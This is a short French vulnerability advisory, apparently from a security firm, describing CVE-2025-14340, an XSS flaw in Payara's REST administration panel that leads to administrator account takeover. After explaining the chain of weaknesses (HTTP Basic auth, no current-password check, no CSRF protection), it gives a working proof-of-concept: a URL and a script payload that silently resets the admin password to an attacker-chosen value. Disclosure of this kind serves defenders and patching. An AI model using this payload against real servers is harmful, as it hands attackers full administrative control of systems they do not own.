XSS pour prise de contrôle du compte administrateur (CVE-2025-14340)

Une vulnérabilité de Cross-Site Scripting dans l’interface d’administration REST de Payara permet l’exécution de JavaScript contrôlé par un attaquant, conduisant à une prise de contrôle du compte administrateur. En raison de :

1. Le panneau utilise l’authentification HTTP Basic (les identifiants sont envoyés automatiquement par le navigateur pour les requêtes same-origin).
2. Le point de terminaison change-admin-password n’exige pas le mot de passe actuel pour mettre à jour le mot de passe d’un utilisateur.
3. Le formulaire change-admin-password ne dispose pas de protection CSRF.
4. Un script injecté via la XSS dans /management/domain/version peut envoyer une requête POST à /management/domain/change-admin-password et définir un mot de passe choisi par l’attaquant pour n’importe quel compte cible — entraînant une prise de contrôle du compte administrateur.

Preuve de concept

URL :

https://panel.example.com:4848/management/domain/version?<PAYLOAD>

PAYLOAD :

<script>
fetch('/management/domain/change-admin-password', {
 method: 'POST',
 headers: {
 'X-Requested-By': 'GlassFish REST HTML interface',
 'Accept': 'text/html',
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body:
'id=admin&newpassword=P1234&password=P1234&__remove_empty_entries__=true&=chang
e-admin-password'
});
</script>

Légal

UTILISATION AUTORISÉE UNIQUEMENT. DeepSecurity Perú n’approuve pas les accès non autorisés et décline toute responsabilité en cas d’utilisation abusive des informations fournies.